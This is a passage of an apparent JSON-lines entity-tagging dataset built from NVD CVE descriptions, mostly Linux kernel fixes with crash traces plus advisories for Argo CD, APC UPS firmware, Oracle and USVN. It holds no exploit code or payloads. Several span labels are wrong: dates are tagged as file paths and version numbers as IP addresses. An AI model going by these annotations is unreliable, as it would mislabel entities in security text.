GS:ffff91f8d5c80000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: ffffffffffffffd6 CR3: 000000010540e000 CR4: 00000000000406f0\nCall Trace:\n <TASK>\n ? __die_body+0x15/0x57\n ? page_fault_oops+0x2ef/0x33c\n ? insert_vmap_area.constprop.0+0xb6/0xd5\n ? alloc_vmap_area+0x529/0x5ee\n ? exc_page_fault+0x15a/0x489\n ? asm_exc_page_fault+0x22/0x30\n __subdev_8255_init+0x79/0x8d [comedi_8255]\n pci_8255_auto_attach+0x11a/0x139 [8255_pci]\n comedi_auto_config+0xac/0x117 [comedi]\n ? __pfx___driver_attach+0x10/0x10\n pci_device_probe+0x88/0xf9\n really_probe+0x101/0x248\n __driver_probe_device+0xbb/0xed\n driver_probe_device+0x1a/0x72\n __driver_attach+0xd4/0xed\n bus_for_each_dev+0x76/0xb8\n bus_add_driver+0xbe/0x1be\n driver_register+0x9a/0xd8\n comedi_pci_driver_register+0x28/0x48 [comedi_pci]\n ? __pfx_pci_8255_driver_init+0x10/0x10 [8255_pci]\n do_one_initcall+0x72/0x183\n do_init_module+0x5b/0x1e8\n init_module_from_file+0x86/0xac\n __do_sys_finit_module+0x151/0x218\n do_syscall_64+0x72/0xdb\n entry_SYSCALL_64_after_hwframe+0x6e/0x76\nRIP: 0033:0x7f72f50a0cb9\nCode: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 47 71 0c 00 f7 d8 64 89 01 48\nRSP: 002b:00007ffd47e512d8 EFLAGS: 00000246 ORIG_RAX: 0000000000000139\nRAX: ffffffffffffffda RBX: 0000562dd06ae070 RCX: 00007f72f50a0cb9\nRDX: 0000000000000000 RSI: 00007f72f52d32df RDI: 000000000000000e\nRBP: 0000000000000000 R08: 00007f72f5168b20 R09: 0000000000000000\nR10: 0000000000000050 R11: 0000000000000246 R12: 00007f72f52d32df\nR13: 0000000000020000 R14: 0000562dd06785c0 R15: 0000562dcfd0e9a8\n </TASK>\nModules linked in: 8255_pci(+) comedi_8255 comedi_pci comedi intel_gtt e100(+) acpi_cpufreq rtc_cmos usbhid\nCR2: 0000000000000000\n---[ end trace 0000000000000000 ]---\nRIP: 0010:0x0\nCode: Unable to access opcode bytes at 0xffffffffffffffd6.\nRSP: 0018:ffffa3f1c02d7b78 EFLAGS: 00010202\nRAX: 0000000000000000 RBX: ffff91f847aefd00 RCX: 000000000000009b\nRDX: 0000000000000003 RSI: 0000000000000001 RDI: ffff91f840f6fc00\nRBP: ffff91f840f6fc00 R08: 0000000000000000 R09: 0000000000000001\nR10: 0000000000000000 R11: 000000000000005f R12: 0000000000000000\nR13: 0000000000000000 R14: ffffffffc0102498 R15: ffff91f847ce6ba8\nFS: \n---truncated---", "spans": {"FILEPATH: /comedi/drivers/comedi_8255.c": [[345, 374]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[1077, 1084]], "VULNERABILITY: NULL pointer dereference": [[966, 990]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26867"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nLoongArch: Fix warnings during S3 suspend\n\nThe enable_gpe_wakeup() function calls acpi_enable_all_wakeup_gpes(),\nand the later one may call the preempt_schedule_common() function,\nresulting in a thread switch and causing the CPU to be in an interrupt\nenabled state after the enable_gpe_wakeup() function returns, leading\nto the warnings as follow.\n\n[ C0] WARNING: ... at kernel/time/timekeeping.c:845 ktime_get+0xbc/0xc8\n[ C0]          ...\n[ C0] Call Trace:\n[ C0] [<90000000002243b4>] show_stack+0x64/0x188\n[ C0] [<900000000164673c>] dump_stack_lvl+0x60/0x88\n[ C0] [<90000000002687e4>] __warn+0x8c/0x148\n[ C0] [<90000000015e9978>] report_bug+0x1c0/0x2b0\n[ C0] [<90000000016478e4>] do_bp+0x204/0x3b8\n[ C0] [<90000000025b1924>] exception_handlers+0x1924/0x10000\n[ C0] [<9000000000343bbc>] ktime_get+0xbc/0xc8\n[ C0] [<9000000000354c08>] tick_sched_timer+0x30/0xb0\n[ C0] [<90000000003408e0>] __hrtimer_run_queues+0x160/0x378\n[ C0] [<9000000000341f14>] hrtimer_interrupt+0x144/0x388\n[ C0] [<9000000000228348>] constant_timer_interrupt+0x38/0x48\n[ C0] [<90000000002feba4>] __handle_irq_event_percpu+0x64/0x1e8\n[ C0] [<90000000002fed48>] handle_irq_event_percpu+0x20/0x80\n[ C0] [<9000000000306b9c>] handle_percpu_irq+0x5c/0x98\n[ C0] [<90000000002fd4a0>] generic_handle_domain_irq+0x30/0x48\n[ C0] [<9000000000d0c7b0>] handle_cpu_irq+0x70/0xa8\n[ C0] [<9000000001646b30>] handle_loongarch_irq+0x30/0x48\n[ C0] [<9000000001646bc8>] do_vint+0x80/0xe0\n[ C0] [<90000000002aea1c>] finish_task_switch.isra.0+0x8c/0x2a8\n[ C0] [<900000000164e34c>] __schedule+0x314/0xa48\n[ C0] [<900000000164ead8>] schedule+0x58/0xf0\n[ C0] [<9000000000294a2c>] worker_thread+0x224/0x498\n[ C0] [<900000000029d2f0>] kthread+0xf8/0x108\n[ C0] [<9000000000221f28>] ret_from_kernel_thread+0xc/0xa4\n[ C0]\n[ C0] ---[ end trace 0000000000000000 ]---\n\nThe root cause is acpi_enable_all_wakeup_gpes() uses a mutex to protect\nacpi_hw_enable_all_wakeup_gpes(), and acpi_ut_acquire_mutex() may cause\na thread switch. Since there is no longer concurrent execution during\nloongarch_acpi_suspend(), we can call acpi_hw_enable_all_wakeup_gpes()\ndirectly in enable_gpe_wakeup().\n\nThe solution is similar to commit 22db06337f590d01 (\"ACPI: sleep: Avoid\nbreaking S3 wakeup due to might_sleep()\").", "spans": {"FILEPATH: /time/timekeeping.c": [[446, 465]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21803"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: iso: Fix circular lock in iso_listen_bis\n\nThis fixes the circular locking dependency warning below, by\nreleasing the socket lock before enterning iso_listen_bis, to\navoid any potential deadlock with hdev lock.\n\n[   75.307983] ======================================================\n[   75.307984] WARNING: possible circular locking dependency detected\n[   75.307985] 6.12.0-rc6+ #22 Not tainted\n[   75.307987] ------------------------------------------------------\n[   75.307987] kworker/u81:2/2623 is trying to acquire lock:\n[   75.307988] ffff8fde1769da58 (sk_lock-AF_BLUETOOTH-BTPROTO_ISO)\n               at: iso_connect_cfm+0x253/0x840 [bluetooth]\n[   75.308021]\n               but task is already holding lock:\n[   75.308022] ffff8fdd61a10078 (&hdev->lock)\n               at: hci_le_per_adv_report_evt+0x47/0x2f0 [bluetooth]\n[   75.308053]\n               which lock already depends on the new lock.\n\n[   75.308054]\n               the existing dependency chain (in reverse order) is:\n[   75.308055]\n               -> #1 (&hdev->lock){+.+.}-{3:3}:\n[   75.308057]        __mutex_lock+0xad/0xc50\n[   75.308061]        mutex_lock_nested+0x1b/0x30\n[   75.308063]        iso_sock_listen+0x143/0x5c0 [bluetooth]\n[   75.308085]        __sys_listen_socket+0x49/0x60\n[   75.308088]        __x64_sys_listen+0x4c/0x90\n[   75.308090]        x64_sys_call+0x2517/0x25f0\n[   75.308092]        do_syscall_64+0x87/0x150\n[   75.308095]        entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[   75.308098]\n               -> #0 (sk_lock-AF_BLUETOOTH-BTPROTO_ISO){+.+.}-{0:0}:\n[   75.308100]        __lock_acquire+0x155e/0x25f0\n[   75.308103]        lock_acquire+0xc9/0x300\n[   75.308105]        lock_sock_nested+0x32/0x90\n[   75.308107]        iso_connect_cfm+0x253/0x840 [bluetooth]\n[   75.308128]        hci_connect_cfm+0x6c/0x190 [bluetooth]\n[   75.308155]        hci_le_per_adv_report_evt+0x27b/0x2f0 [bluetooth]\n[   75.308180]        hci_le_meta_evt+0xe7/0x200 [bluetooth]\n[   75.308206]        hci_event_packet+0x21f/0x5c0 [bluetooth]\n[   75.308230]        hci_rx_work+0x3ae/0xb10 [bluetooth]\n[   75.308254]        process_one_work+0x212/0x740\n[   75.308256]        worker_thread+0x1bd/0x3a0\n[   75.308258]        kthread+0xe4/0x120\n[   75.308259]        ret_from_fork+0x44/0x70\n[   75.308261]        ret_from_fork_asm+0x1a/0x30\n[   75.308263]\n               other info that might help us debug this:\n\n[   75.308264]  Possible unsafe locking scenario:\n\n[   75.308264]        CPU0                CPU1\n[   75.308265]        ----                ----\n[   75.308265]   lock(&hdev->lock);\n[   75.308267]                            lock(sk_lock-\n                                                AF_BLUETOOTH-BTPROTO_ISO);\n[   75.308268]                            lock(&hdev->lock);\n[   75.308269]   lock(sk_lock-AF_BLUETOOTH-BTPROTO_ISO);\n[   75.308270]\n                *** DEADLOCK ***\n\n[   75.308271] 4 locks held by kworker/u81:2/2623:\n[   75.308272]  #0: ffff8fdd66e52148 ((wq_completion)hci0#2){+.+.}-{0:0},\n                at: process_one_work+0x443/0x740\n[   75.308276]  #1: ffffafb488b7fe48 ((work_completion)(&hdev->rx_work)),\n                at: process_one_work+0x1ce/0x740\n[   75.308280]  #2: ffff8fdd61a10078 (&hdev->lock){+.+.}-{3:3}\n                at: hci_le_per_adv_report_evt+0x47/0x2f0 [bluetooth]\n[   75.308304]  #3: ffffffffb6ba4900 (rcu_read_lock){....}-{1:2},\n                at: hci_connect_cfm+0x29/0x190 [bluetooth]", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-54460"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/fixmap: Fix VM debug warning on unmap\n\nUnmapping a fixmap entry is done by calling __set_fixmap()\nwith FIXMAP_PAGE_CLEAR as flags.\n\nToday, powerpc __set_fixmap() calls map_kernel_page().\n\nmap_kernel_page() is not happy when called a second time\nfor the same page.\n\n\tWARNING: CPU: 0 PID: 1 at arch/powerpc/mm/pgtable.c:194 set_pte_at+0xc/0x1e8\n\tCPU: 0 PID: 1 Comm: swapper Not tainted 5.16.0-rc3-s3k-dev-01993-g350ff07feb7d-dirty #682\n\tNIP:  c0017cd4 LR: c00187f0 CTR: 00000010\n\tREGS: e1011d50 TRAP: 0700   Not tainted  (5.16.0-rc3-s3k-dev-01993-g350ff07feb7d-dirty)\n\tMSR:  00029032 <EE,ME,IR,DR,RI>  CR: 42000208  XER: 00000000\n\n\tGPR00: c0165fec e1011e10 c14c0000 c0ee2550 ff800000 c0f3d000 00000000 c001686c\n\tGPR08: 00001000 b00045a9 00000001 c0f58460 c0f50000 00000000 c0007e10 00000000\n\tGPR16: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000\n\tGPR24: 00000000 00000000 c0ee2550 00000000 c0f57000 00000ff8 00000000 ff800000\n\tNIP [c0017cd4] set_pte_at+0xc/0x1e8\n\tLR [c00187f0] map_kernel_page+0x9c/0x100\n\tCall Trace:\n\t[e1011e10] [c0736c68] vsnprintf+0x358/0x6c8 (unreliable)\n\t[e1011e30] [c0165fec] __set_fixmap+0x30/0x44\n\t[e1011e40] [c0c13bdc] early_iounmap+0x11c/0x170\n\t[e1011e70] [c0c06cb0] ioremap_legacy_serial_console+0x88/0xc0\n\t[e1011e90] [c0c03634] do_one_initcall+0x80/0x178\n\t[e1011ef0] [c0c0385c] kernel_init_freeable+0xb4/0x250\n\t[e1011f20] [c0007e34] kernel_init+0x24/0x140\n\t[e1011f30] [c0016268] ret_from_kernel_thread+0x5c/0x64\n\tInstruction dump:\n\t7fe3fb78 48019689 80010014 7c630034 83e1000c 5463d97e 7c0803a6 38210010\n\t4e800020 81250000 712a0001 41820008 <0fe00000> 9421ffe0 93e1001c 48000030\n\nImplement unmap_kernel_page() which clears an existing pte.", "spans": {"FILEPATH: /powerpc/mm/pgtable.c": [[373, 394]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47623"}}
{"text": "A CWE-287: Improper Authentication vulnerability exists that could cause an attacker to arbitrarily change the behavior of the UPS when a key is leaked and used to upload malicious firmware. Affected Product: APC Smart-UPS Family: SMT Series (SMT Series ID=18: UPS 09.8 and prior / SMT Series ID=1040: UPS 01.2 and prior / SMT Series ID=1031: UPS 03.1 and prior), SMC Series (SMC Series ID=1005: UPS 14.1 and prior / SMC Series ID=1007: UPS 11.0 and prior / SMC Series ID=1041: UPS 01.1 and prior), SCL Series (SCL Series ID=1030: UPS 02.5 and prior / SCL Series ID=1036: UPS 02.5 and prior), SMX Series (SMX Series ID=20: UPS 10.2 and prior / SMX Series ID=23: UPS 07.0 and prior), SRT Series (SRT Series ID=1010/1019/1025: UPS 08.3 and prior / SRT Series ID=1024: UPS 01.0 and prior / SRT Series ID=1020: UPS 10.4 and prior / SRT Series ID=1021: UPS 12.2 and prior / SRT Series ID=1001/1013: UPS 05.1 and prior / SRT Series ID=1002/1014: UPSa05.2 and prior), APC SmartConnect Family: SMT Series (SMT Series ID=1015: UPS 04.5 and prior), SMC Series (SMC Series ID=1018: UPS 04.2 and prior), SMTL Series (SMTL Series ID=1026: UPS 02.9 and prior), SCL Series (SCL Series ID=1029: UPS 02.5 and prior / SCL Series ID=1030: UPS 02.5 and prior / SCL Series ID=1036: UPS 02.5 and prior / SCL Series ID=1037: UPS 03.1 and prior), SMX Series (SMX Series ID=1031: UPS 03.1 and prior)", "spans": {"FILEPATH: /1019/1025": [[713, 723]], "VULNERABILITY: Improper Authentication": [[11, 34]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-0715"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/code-patching: Disable KASAN report during patching via temporary mm\n\nErhard reports the following KASAN hit on Talos II (power9) with kernel 6.13:\n\n[   12.028126] ==================================================================\n[   12.028198] BUG: KASAN: user-memory-access in copy_to_kernel_nofault+0x8c/0x1a0\n[   12.028260] Write of size 8 at addr 0000187e458f2000 by task systemd/1\n\n[   12.028346] CPU: 87 UID: 0 PID: 1 Comm: systemd Tainted: G                T  6.13.0-P9-dirty #3\n[   12.028408] Tainted: [T]=RANDSTRUCT\n[   12.028446] Hardware name: T2P9D01 REV 1.01 POWER9 0x4e1202 opal:skiboot-bc106a0 PowerNV\n[   12.028500] Call Trace:\n[   12.028536] [c000000008dbf3b0] [c000000001656a48] dump_stack_lvl+0xbc/0x110 (unreliable)\n[   12.028609] [c000000008dbf3f0] [c0000000006e2fc8] print_report+0x6b0/0x708\n[   12.028666] [c000000008dbf4e0] [c0000000006e2454] kasan_report+0x164/0x300\n[   12.028725] [c000000008dbf600] [c0000000006e54d4] kasan_check_range+0x314/0x370\n[   12.028784] [c000000008dbf640] [c0000000006e6310] __kasan_check_write+0x20/0x40\n[   12.028842] [c000000008dbf660] [c000000000578e8c] copy_to_kernel_nofault+0x8c/0x1a0\n[   12.028902] [c000000008dbf6a0] [c0000000000acfe4] __patch_instructions+0x194/0x210\n[   12.028965] [c000000008dbf6e0] [c0000000000ade80] patch_instructions+0x150/0x590\n[   12.029026] [c000000008dbf7c0] [c0000000001159bc] bpf_arch_text_copy+0x6c/0xe0\n[   12.029085] [c000000008dbf800] [c000000000424250] bpf_jit_binary_pack_finalize+0x40/0xc0\n[   12.029147] [c000000008dbf830] [c000000000115dec] bpf_int_jit_compile+0x3bc/0x930\n[   12.029206] [c000000008dbf990] [c000000000423720] bpf_prog_select_runtime+0x1f0/0x280\n[   12.029266] [c000000008dbfa00] [c000000000434b18] bpf_prog_load+0xbb8/0x1370\n[   12.029324] [c000000008dbfb70] [c000000000436ebc] __sys_bpf+0x5ac/0x2e00\n[   12.029379] [c000000008dbfd00] [c00000000043a228] sys_bpf+0x28/0x40\n[   12.029435] [c000000008dbfd20] [c000000000038eb4] system_call_exception+0x334/0x610\n[   12.029497] [c000000008dbfe50] [c00000000000c270] system_call_vectored_common+0xf0/0x280\n[   12.029561] --- interrupt: 3000 at 0x3fff82f5cfa8\n[   12.029608] NIP:  00003fff82f5cfa8 LR: 00003fff82f5cfa8 CTR: 0000000000000000\n[   12.029660] REGS: c000000008dbfe80 TRAP: 3000   Tainted: G                T   (6.13.0-P9-dirty)\n[   12.029735] MSR:  900000000280f032 <SF,HV,VEC,VSX,EE,PR,FP,ME,IR,DR,RI>  CR: 42004848  XER: 00000000\n[   12.029855] IRQMASK: 0\n               GPR00: 0000000000000169 00003fffdcf789a0 00003fff83067100 0000000000000005\n               GPR04: 00003fffdcf78a98 0000000000000090 0000000000000000 0000000000000008\n               GPR08: 0000000000000000 0000000000000000 0000000000000000 0000000000000000\n               GPR12: 0000000000000000 00003fff836ff7e0 c000000000010678 0000000000000000\n               GPR16: 0000000000000000 0000000000000000 00003fffdcf78f28 00003fffdcf78f90\n               GPR20: 0000000000000000 0000000000000000 0000000000000000 00003fffdcf78f80\n               GPR24: 00003fffdcf78f70 00003fffdcf78d10 00003fff835c7239 00003fffdcf78bd8\n               GPR28: 00003fffdcf78a98 0000000000000000 0000000000000000 000000011f547580\n[   12.030316] NIP [00003fff82f5cfa8] 0x3fff82f5cfa8\n[   12.030361] LR [00003fff82f5cfa8] 0x3fff82f5cfa8\n[   12.030405] --- interrupt: 3000\n[   12.030444] ==================================================================\n\nCommit c28c15b6d28a (\"powerpc/code-patching: Use temporary mm for\nRadix MMU\") is inspired from x86 but unlike x86 is doesn't disable\nKASAN reports during patching. This wasn't a problem at the begining\nbecause __patch_mem() is not instrumented.\n\nCommit 465cabc97b42 (\"powerpc/code-patching: introduce\npatch_instructions()\") use copy_to_kernel_nofault() to copy several\ninstructions at once. But when using temporary mm the destination is\nnot regular kernel memory but a kind of kernel-like memory located\nin user address space. \n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[455, 462], [509, 516]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21869"}}
{"text": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. A critical vulnerability has been discovered in Argo CD starting with version 1.4.0 and prior to versions 2.1.15, 2.2.9, and 2.3.4 which would allow unauthenticated users to impersonate as any Argo CD user or role, including the `admin` user, by sending a specifically crafted JSON Web Token (JWT) along with the request. In order for this vulnerability to be exploited, anonymous access to the Argo CD instance must have been enabled. In a default Argo CD installation, anonymous access is disabled. The vulnerability can be exploited to impersonate as any user or role, including the built-in `admin` account regardless of whether it is enabled or disabled. Also, the attacker does not need an account on the Argo CD instance in order to exploit this. If anonymous access to the instance is enabled, an attacker can escalate their privileges, effectively allowing them to gain the same privileges on the cluster as the Argo CD instance, which is cluster admin in a default installation. This will allow the attacker to create, manipulate and delete any resource on the cluster. They may also exfiltrate data by deploying malicious workloads with elevated privileges, thus bypassing any redaction of sensitive data otherwise enforced by the Argo CD API. A patch for this vulnerability has been released in Argo CD versions 2.3.4, 2.2.9, and 2.1.15. As a workaround, one may disable anonymous access, but upgrading to a patched version is preferable.", "spans": {"SYSTEM: Kubernetes": [[62, 72]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-29165"}}
{"text": "NestJS Proxy is a NestJS module to decorate and proxy calls. Prior to version 0.7.0, the nestjs-proxy library did not have a way to control when Authorization headers should should be forwarded for specific backend services configured by the application developer. This could have resulted in sensitive information such as OAuth bearer access tokens being inadvertently exposed to such services that should not see them. A new feature has been introduced in the patched version of nestjs-proxy that allows application developers to opt out of forwarding the Authorization headers on a per service basis using the `forwardToken` config setting. Developers are advised to review the README for this library on Github or NPM for further details on how this configuration can be applied. This issue has been fixed in version 0.7.0 of `@finastra/nestjs-proxy`. Users of `@ffdc/nestjs-proxy` are advised that this package has been deprecated and is no longer being maintained or receiving updates. Such users should update their package.json file to use `@finastra/nestjs-proxy` instead.", "spans": {"FILEPATH: package.json": [[1023, 1035]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31069"}}
{"text": "Vulnerability in the Oracle Hospitality Reporting and Analytics product of Oracle Food and Beverage Applications (component: Installation). The supported version that is affected is 9.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Hospitality Reporting and Analytics executes to compromise Oracle Hospitality Reporting and Analytics. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Hospitality Reporting and Analytics, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hospitality Reporting and Analytics accessible data. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [75, 81], [292, 298], [358, 364], [519, 525], [735, 741]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14753"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dsa: felix: don't use devres for mdiobus\n\nAs explained in commits:\n74b6d7d13307 (\"net: dsa: realtek: register the MDIO bus under devres\")\n5135e96a3dd2 (\"net: dsa: don't allocate the slave_mii_bus using devres\")\n\nmdiobus_free() will panic when called from devm_mdiobus_free() <-\ndevres_release_all() <- __device_release_driver(), and that mdiobus was\nnot previously unregistered.\n\nThe Felix VSC9959 switch is a PCI device, so the initial set of\nconstraints that I thought would cause this (I2C or SPI buses which call\n->remove on ->shutdown) do not apply. But there is one more which\napplies here.\n\nIf the DSA master itself is on a bus that calls ->remove from ->shutdown\n(like dpaa2-eth, which is on the fsl-mc bus), there is a device link\nbetween the switch and the DSA master, and device_links_unbind_consumers()\nwill unbind the felix switch driver on shutdown.\n\nSo the same treatment must be applied to all DSA switch drivers, which\nis: either use devres for both the mdiobus allocation and registration,\nor don't use devres at all.\n\nThe felix driver has the code structure in place for orderly mdiobus\nremoval, so just replace devm_mdiobus_alloc_size() with the non-devres\nvariant, and add manual free where necessary, to ensure that we don't\nlet devres free a still-registered bus.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48813"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbfq: Avoid merging queues with different parents\n\nIt can happen that the parent of a bfqq changes between the moment we\ndecide two queues are worth to merge (and set bic->stable_merge_bfqq)\nand the moment bfq_setup_merge() is called. This can happen e.g. because\nthe process submitted IO for a different cgroup and thus bfqq got\nreparented. It can even happen that the bfqq we are merging with has\nparent cgroup that is already offline and going to be destroyed in which\ncase the merge can lead to use-after-free issues such as:\n\nBUG: KASAN: use-after-free in __bfq_deactivate_entity+0x9cb/0xa50\nRead of size 8 at addr ffff88800693c0c0 by task runc:[2:INIT]/10544\n\nCPU: 0 PID: 10544 Comm: runc:[2:INIT] Tainted: G            E     5.15.2-0.g5fb85fd-default #1 openSUSE Tumbleweed (unreleased) f1f3b891c72369aebecd2e43e4641a6358867c70\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a-rebuilt.opensuse.org 04/01/2014\nCall Trace:\n <IRQ>\n dump_stack_lvl+0x46/0x5a\n print_address_description.constprop.0+0x1f/0x140\n ? __bfq_deactivate_entity+0x9cb/0xa50\n kasan_report.cold+0x7f/0x11b\n ? __bfq_deactivate_entity+0x9cb/0xa50\n __bfq_deactivate_entity+0x9cb/0xa50\n ? update_curr+0x32f/0x5d0\n bfq_deactivate_entity+0xa0/0x1d0\n bfq_del_bfqq_busy+0x28a/0x420\n ? resched_curr+0x116/0x1d0\n ? bfq_requeue_bfqq+0x70/0x70\n ? check_preempt_wakeup+0x52b/0xbc0\n __bfq_bfqq_expire+0x1a2/0x270\n bfq_bfqq_expire+0xd16/0x2160\n ? try_to_wake_up+0x4ee/0x1260\n ? bfq_end_wr_async_queues+0xe0/0xe0\n ? _raw_write_unlock_bh+0x60/0x60\n ? _raw_spin_lock_irq+0x81/0xe0\n bfq_idle_slice_timer+0x109/0x280\n ? bfq_dispatch_request+0x4870/0x4870\n __hrtimer_run_queues+0x37d/0x700\n ? enqueue_hrtimer+0x1b0/0x1b0\n ? kvm_clock_get_cycles+0xd/0x10\n ? ktime_get_update_offsets_now+0x6f/0x280\n hrtimer_interrupt+0x2c8/0x740\n\nFix the problem by checking that the parent of the two bfqqs we are\nmerging in bfq_setup_merge() is the same.", "spans": {"DOMAIN: rel-1.14.0-0-g155821a-rebuilt.opensuse.org": [[963, 1005]], "HASH: f1f3b891c72369aebecd2e43e4641a6358867c70": [[862, 902]], "FILEPATH: /01/2014": [[1008, 1016]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[918, 922]], "VULNERABILITY: use-after-free": [[567, 581], [611, 625]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49412"}}
{"text": "USVN (aka User-friendly SVN) before 1.0.9 allows remote code execution via shell metacharacters in the number_start or number_end parameter to LastHundredRequest (aka lasthundredrequestAction) in the Timeline module. NOTE: this may overlap CVE-2020-25069.", "spans": {"CVE_ID: CVE-2020-25069": [[240, 254]], "VULNERABILITY: remote code execution": [[49, 70]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17363"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: fix a job->pasid access race in gpu recovery\n\nAvoid a possible UAF in GPU recovery due to a race between\nthe sched timeout callback and the tdr work queue.\n\nThe gpu recovery function calls drm_sched_stop() and\nlater drm_sched_start().  drm_sched_start() restarts\nthe tdr queue which will eventually free the job.  If\nthe tdr queue frees the job before time out callback\ncompletes, the job will be freed and we'll get a UAF\nwhen accessing the pasid.  Cache it early to avoid the\nUAF.\n\nExample KASAN trace:\n[  493.058141] BUG: KASAN: slab-use-after-free in amdgpu_device_gpu_recover+0x968/0x990 [amdgpu]\n[  493.067530] Read of size 4 at addr ffff88b0ce3f794c by task kworker/u128:1/323\n[  493.074892]\n[  493.076485] CPU: 9 UID: 0 PID: 323 Comm: kworker/u128:1 Tainted: G            E       6.16.0-1289896.2.zuul.bf4f11df81c1410bbe901c4373305a31 #1 PREEMPT(voluntary)\n[  493.076493] Tainted: [E]=UNSIGNED_MODULE\n[  493.076495] Hardware name: TYAN B8021G88V2HR-2T/S8021GM2NR-2T, BIOS V1.03.B10 04/01/2019\n[  493.076500] Workqueue: amdgpu-reset-dev drm_sched_job_timedout [gpu_sched]\n[  493.076512] Call Trace:\n[  493.076515]  <TASK>\n[  493.076518]  dump_stack_lvl+0x64/0x80\n[  493.076529]  print_report+0xce/0x630\n[  493.076536]  ? _raw_spin_lock_irqsave+0x86/0xd0\n[  493.076541]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n[  493.076545]  ? amdgpu_device_gpu_recover+0x968/0x990 [amdgpu]\n[  493.077253]  kasan_report+0xb8/0xf0\n[  493.077258]  ? amdgpu_device_gpu_recover+0x968/0x990 [amdgpu]\n[  493.077965]  amdgpu_device_gpu_recover+0x968/0x990 [amdgpu]\n[  493.078672]  ? __pfx_amdgpu_device_gpu_recover+0x10/0x10 [amdgpu]\n[  493.079378]  ? amdgpu_coredump+0x1fd/0x4c0 [amdgpu]\n[  493.080111]  amdgpu_job_timedout+0x642/0x1400 [amdgpu]\n[  493.080903]  ? pick_task_fair+0x24e/0x330\n[  493.080910]  ? __pfx_amdgpu_job_timedout+0x10/0x10 [amdgpu]\n[  493.081702]  ? _raw_spin_lock+0x75/0xc0\n[  493.081708]  ? __pfx__raw_spin_lock+0x10/0x10\n[  493.081712]  drm_sched_job_timedout+0x1b0/0x4b0 [gpu_sched]\n[  493.081721]  ? __pfx__raw_spin_lock_irq+0x10/0x10\n[  493.081725]  process_one_work+0x679/0xff0\n[  493.081732]  worker_thread+0x6ce/0xfd0\n[  493.081736]  ? __pfx_worker_thread+0x10/0x10\n[  493.081739]  kthread+0x376/0x730\n[  493.081744]  ? __pfx_kthread+0x10/0x10\n[  493.081748]  ? __pfx__raw_spin_lock_irq+0x10/0x10\n[  493.081751]  ? __pfx_kthread+0x10/0x10\n[  493.081755]  ret_from_fork+0x247/0x330\n[  493.081761]  ? __pfx_kthread+0x10/0x10\n[  493.081764]  ret_from_fork_asm+0x1a/0x30\n[  493.081771]  </TASK>\n\n(cherry picked from commit 20880a3fd5dd7bca1a079534cf6596bda92e107d)", "spans": {"HASH: 20880a3fd5dd7bca1a079534cf6596bda92e107d": [[2617, 2657]], "HASH: bf4f11df81c1410bbe901c4373305a31": [[891, 923]], "FILEPATH: /01/2019": [[1073, 1081]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[618, 632]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68793"}}
{"text": "Vulnerability in the Oracle Help Technologies product of Oracle Fusion Middleware (component: Web UIX). Supported versions that are affected are 11.1.1.9.0 and 12.2.1.3.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Help Technologies. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Help Technologies, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Help Technologies accessible data as well as unauthorized update, insert or delete access to some of Oracle Help Technologies accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"IP_ADDRESS: 11.1.1.9": [[145, 153]], "IP_ADDRESS: 12.2.1.3": [[160, 168]], "ORGANIZATION: Oracle": [[21, 27], [57, 63], [280, 286], [423, 429], [621, 627], [729, 735]]}, "info": {"source": "nvd_v2", "cve_id": 